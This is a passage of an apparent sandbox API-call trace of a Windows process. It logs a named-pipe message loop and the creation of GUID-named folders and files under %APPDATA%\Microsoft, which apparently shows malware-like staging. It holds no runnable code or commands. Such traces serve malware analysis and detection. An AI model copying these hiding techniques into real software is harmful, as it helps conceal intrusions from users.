lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94b3444, lpParameter=0x9b6dc70, dwCreationFlags=0x0, lpThreadId=0x9d7f6e0 | out: lpThreadId=0x9d7f6e0*=0x6a4) returned 0xa94 [0096.027] CloseHandle (hObject=0xa94) returned 1 [0096.027] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa94 [0096.027] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0096.027] CloseHandle (hObject=0xa94) returned 1 [0096.027] FlushFileBuffers (hFile=0x11c0) returned 1 [0096.027] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0096.027] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.027] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0096.027] GetLastError () returned 0x3e5 [0096.027] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0096.028] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c4 [0096.028] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0096.028] GetLastError () returned 0x3e5 [0096.028] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0096.028] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0096.028] CloseHandle (hObject=0x5c4) returned 1 [0096.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dc90 [0096.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94b3444, lpParameter=0x9b6dc90, dwCreationFlags=0x0, lpThreadId=0x9d7f6e0 | out: lpThreadId=0x9d7f6e0*=0x740) returned 0x5c4 [0096.029] CloseHandle (hObject=0x5c4) returned 1 [0096.029] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5c4 [0096.029] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0096.029] CloseHandle (hObject=0x5c4) returned 1 [0096.029] FlushFileBuffers (hFile=0x11c0) returned 1 [0096.029] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0096.029] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.029] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0096.030] GetLastError () returned 0x3e5 [0096.030] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0096.030] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa94 [0096.030] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0096.030] GetLastError () returned 0x3e5 [0096.030] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0096.030] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0096.030] CloseHandle (hObject=0xa94) returned 1 [0096.030] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dcb0 [0096.030] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94b3444, lpParameter=0x9b6dcb0, dwCreationFlags=0x0, lpThreadId=0x9d7f6e0 | out: lpThreadId=0x9d7f6e0*=0x91c) returned 0xa94 [0096.031] CloseHandle (hObject=0xa94) returned 1 [0096.031] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0xa94 [0096.031] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0096.031] CloseHandle (hObject=0xa94) returned 1 [0096.031] FlushFileBuffers (hFile=0x11c0) returned 1 [0096.031] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0096.031] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.031] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0096.031] GetLastError () returned 0x3e5 [0096.031] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0096.117] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6d8 [0096.117] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0096.117] GetLastError () returned 0x3e5 [0096.117] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0096.118] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0096.118] CloseHandle (hObject=0x6d8) returned 1 [0096.118] lstrlenA (lpString="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 58 [0096.118] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9770f50 [0096.118] mbstowcs (in: _Dest=0x9770f50, _Source="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 0x3a [0096.118] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0096.118] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9b6ff10 [0096.118] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}", lpDst=0x9b6ff10, nSize=0x53 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}") returned 0x53 [0096.118] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9770f50 | out: hHeap=0x9770000) returned 1 [0096.118] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{6A5E21FF-C1FA-2C95-9B3E-8520FF528954}" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{6a5e21ff-c1fa-2c95-9b3e-8520ff528954}"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0096.118] GetLastError () returned 0x2 [0096.118] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ff10 | out: hHeap=0x9770000) returned 1 [0096.122] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x6d8 [0096.122] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0096.122] CloseHandle (hObject=0x6d8) returned 1 [0096.122] FlushFileBuffers (hFile=0x11c0) returned 1 [0096.122] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0096.122] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0096.123] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0096.123] GetLastError () returned 0x3e5 [0096.123] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0099.163] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x12b0 [0099.164] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 0x0 [0099.166] GetLastError () returned 0x3e5 [0099.167] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0099.171] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 0 [0099.174] CloseHandle (hObject=0x12b0) returned 1 [0099.175] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x62) returned 0x9a7f1f0 [0099.176] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x12b0 [0099.176] ReadFile (in: hFile=0x11c0, lpBuffer=0x9a7f1f0, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9a7f1f0*, lpNumberOfBytesRead=0x9d7f7e8*=0x62, lpOverlapped=0x9d7f7a0) returned 1 [0099.178] CloseHandle (hObject=0x12b0) returned 1 [0099.178] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x9d7f6a0 | out: lpSystemTimeAsFileTime=0x9d7f6a0*(dwLowDateTime=0xe3ecf920, dwHighDateTime=0x1d51ed4)) [0099.182] lstrlenA (lpString="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 58 [0099.185] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x4e) returned 0x9a6ea40 [0099.185] lstrcpyA (in: lpString1=0x9a6ea40, lpString2="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" | out: lpString1="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" [0099.186] lstrlenA (lpString="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 58 [0099.187] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x76) returned 0x9b6fef0 [0099.187] mbstowcs (in: _Dest=0x9b6fef0, _Source="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", _MaxCount=0x3b | out: _Dest="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x3a [0099.190] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x53 [0099.190] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xa6) returned 0x9a91d90 [0099.192] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}", lpDst=0x9a91d90, nSize=0x53 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}") returned 0x53 [0099.193] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fef0 | out: hHeap=0x9770000) returned 1 [0099.196] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{f5fb2c3c-d05c-ef89-82f9-0493d63d7877}"), lpSecurityAttributes=0x0) returned 1 [0099.199] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0099.200] lstrlenA (lpString="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009") returned 77 [0099.200] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x9c) returned 0x9b6fef0 [0099.200] mbstowcs (in: _Dest=0x9b6fef0, _Source="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009", _MaxCount=0x4e | out: _Dest="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009") returned 0x4d [0099.200] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x66 [0099.200] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0xcc) returned 0x9a91d90 [0099.200] ExpandEnvironmentStringsW (in: lpSrc="%APPDATA%\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009", lpDst=0x9a91d90, nSize=0x66 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009") returned 0x66 [0099.200] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6fef0 | out: hHeap=0x9770000) returned 1 [0099.200] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\{F5FB2C3C-D05C-EF89-82F9-0493D63D7877}\\01D51ED4E3ECF92009" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\{f5fb2c3c-d05c-ef89-82f9-0493d63d7877}\\01d51ed4e3ecf92009"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12b0 [0099.200] WriteFile (in: hFile=0x12b0, lpBuffer=0x9a7f1f0*, nNumberOfBytesToWrite=0x62, lpNumberOfBytesWritten=0x9d7f668, lpOverlapped=0x0 | out: lpBuffer=0x9a7f1f0*, lpNumberOfBytesWritten=0x9d7f668*=0x62, lpOverlapped=0x0) returned 1 [0099.201] SetEndOfFile (hFile=0x12b0) returned 1 [0099.201] CloseHandle (hObject=0x12b0) returned 1 [0099.202] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a91d90 | out: hHeap=0x9770000) returned 1 [0099.202] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6ea40 | out: hHeap=0x9770000) returned 1 [0099.202] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f1f0 | out: hHeap=0x9770000) returned 1 [0099.202] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x12b0 [0099.202] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0099.202] CloseHandle (hObject=0x12b0) returned 1 [0099.202] FlushFileBuffers (hFile=0x11c0) returned 1 [0099.202] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0099.202] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0099.203] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0099.203] GetLastError () returned 0x3e5 [0099.203] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0100.705] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5d0 [0100.705] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0100.705] GetLastError () returned 0x3e5 [0100.705] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0100.706] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0100.706] CloseHandle (hObject=0x5d0) returned 1 [0100.706] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x11) returned 0x9b6dc50 [0100.706] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x94b3444, lpParameter=0x9b6dc50, dwCreationFlags=0x0, lpThreadId=0x9d7f6e0 | out: lpThreadId=0x9d7f6e0*=0x970) returned 0x5d0 [0100.706] CloseHandle (hObject=0x5d0) returned 1 [0100.706] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x5d0 [0100.706] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpBuffer=0x9d7f7c0*, lpNumberOfBytesWritten=0x9d7f7a8*=0xc, lpOverlapped=0x9d7f760) returned 1 [0100.706] CloseHandle (hObject=0x5d0) returned 1 [0100.706] FlushFileBuffers (hFile=0x11c0) returned 1 [0100.706] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0100.706] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0100.707] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0100.707] GetLastError () returned 0x3e5 [0100.707] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0111.764] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x12b8 [0111.764] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0111.764] GetLastError () returned 0x3e5 [0111.764] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0111.765] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0111.765] CloseHandle (hObject=0x12b8) returned 1 [0111.765] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x5c) returned 0x9a7f180 [0111.765] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x12b8 [0111.765] ReadFile (in: hFile=0x11c0, lpBuffer=0x9a7f180, nNumberOfBytesToRead=0x5c, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9a7f180*, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 1 [0111.765] GetLastError () returned 0x3e5 [0111.765] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0111.765] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 1 [0111.765] CloseHandle (hObject=0x12b8) returned 1 [0111.766] GetTickCount () returned 0x28b9b [0111.766] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\2855.bin" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\2855.bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9518880, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12b8 [0111.771] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x27) returned 0x9b6ffa0 [0111.771] wsprintfA (in: param_1=0x9b6ffa0, param_2="{%08X-%04X-%04X-%04X-%08X%04X}" | out: param_1="{BE5AE8D3-0543-A058-7FD2-09D423264D48}") returned 38 [0111.771] lstrlenA (lpString="Local\\") returned 6 [0111.771] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x2d) returned 0x9a92280 [0111.771] lstrcpyA (in: lpString1=0x9a92280, lpString2="Local\\" | out: lpString1="Local\\") returned="Local\\" [0111.771] lstrcatA (in: lpString1="Local\\", lpString2="{BE5AE8D3-0543-A058-7FD2-09D423264D48}" | out: lpString1="Local\\{BE5AE8D3-0543-A058-7FD2-09D423264D48}") returned="Local\\{BE5AE8D3-0543-A058-7FD2-09D423264D48}" [0111.771] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9b6ffa0 | out: hHeap=0x9770000) returned 1 [0111.771] GetFileSize (in: hFile=0x12b8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xa3 [0111.771] CreateFileMappingA (hFile=0x12b8, lpFileMappingAttributes=0x9518880, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa3, lpName="Local\\{BE5AE8D3-0543-A058-7FD2-09D423264D48}") returned 0x130c [0111.771] lstrlenA (lpString="Local\\{BE5AE8D3-0543-A058-7FD2-09D423264D48}") returned 44 [0111.771] lstrcpyA (in: lpString1=0x9d7f724, lpString2="Local\\{BE5AE8D3-0543-A058-7FD2-09D423264D48}" | out: lpString1="Local\\{BE5AE8D3-0543-A058-7FD2-09D423264D48}") returned="Local\\{BE5AE8D3-0543-A058-7FD2-09D423264D48}" [0111.771] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a92280 | out: hHeap=0x9770000) returned 1 [0111.771] CloseHandle (hObject=0x12b8) returned 1 [0111.771] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x12b8 [0111.771] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f6b0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f698, lpOverlapped=0x9d7f650 | out: lpBuffer=0x9d7f6b0*, lpNumberOfBytesWritten=0x9d7f698*=0xc, lpOverlapped=0x9d7f650) returned 1 [0111.772] CloseHandle (hObject=0x12b8) returned 1 [0111.772] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x12b8 [0111.772] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f710*, nNumberOfBytesToWrite=0x98, lpNumberOfBytesWritten=0x9d7f698, lpOverlapped=0x9d7f650 | out: lpBuffer=0x9d7f710*, lpNumberOfBytesWritten=0x9d7f698*=0x98, lpOverlapped=0x9d7f650) returned 1 [0111.772] CloseHandle (hObject=0x12b8) returned 1 [0111.772] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x12b8 [0111.772] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f6a0, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f688, lpOverlapped=0x9d7f640 | out: lpBuffer=0x9d7f6a0, lpNumberOfBytesRead=0x9d7f688*=0x0, lpOverlapped=0x9d7f640) returned 0x0 [0111.772] GetLastError () returned 0x3e5 [0111.772] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f630*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0111.773] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f640, lpNumberOfBytesTransferred=0x9d7f688, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f688) returned 0 [0111.773] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f6a0, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f688, lpOverlapped=0x9d7f640 | out: lpBuffer=0x9d7f6a0, lpNumberOfBytesRead=0x9d7f688*=0x0, lpOverlapped=0x9d7f640) returned 0 [0111.773] GetLastError () returned 0x6d [0111.773] CloseHandle (hObject=0x12b8) returned 1 [0111.773] CloseHandle (hObject=0x130c) returned 1 [0111.773] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f180 | out: hHeap=0x9770000) returned 1 [0111.773] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x130c [0111.773] WriteFile (in: hFile=0x11c0, lpBuffer=0x9d7f7c0, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760 | out: lpNumberOfBytesWritten=0x9d7f7a8, lpOverlapped=0x9d7f760) returned 0 [0111.773] GetLastError () returned 0xe8 [0111.773] CloseHandle (hObject=0x130c) returned 1 [0111.773] FlushFileBuffers (hFile=0x11c0) returned 1 [0111.773] DisconnectNamedPipe (hNamedPipe=0x11c0) returned 1 [0111.773] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0111.774] ConnectNamedPipe (in: hNamedPipe=0x11c0, lpOverlapped=0x9d7f830 | out: lpOverlapped=0x9d7f830) returned 0 [0111.774] GetLastError () returned 0x3e5 [0111.774] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f820*=0x11f0, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x1 [0202.099] CreateEventA (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x52c [0202.099] ReadFile (in: hFile=0x11c0, lpBuffer=0x9d7f810, nNumberOfBytesToRead=0xc, lpNumberOfBytesRead=0x9d7f7e8, lpOverlapped=0x9d7f7a0 | out: lpBuffer=0x9d7f810, lpNumberOfBytesRead=0x9d7f7e8*=0x0, lpOverlapped=0x9d7f7a0) returned 0x0 [0202.099] GetLastError () returned 0x3e5 [0202.099] WaitForMultipleObjects (nCount=0x2, lpHandles=0x9d7f790*=0x11f0, bWaitAll=0, dwMilliseconds=0x2710) returned 0x1 [0202.099] GetOverlappedResult (in: hFile=0x11c0, lpOverlapped=0x9d7f7a0, lpNumberOfBytesTransferred=0x9d7f7e8, bWait=0 | out: lpNumberOfBytesTransferred=0x9d7f7e8) returned 0 [0202.099] CloseHandle (hObject=0x52c) returned 1 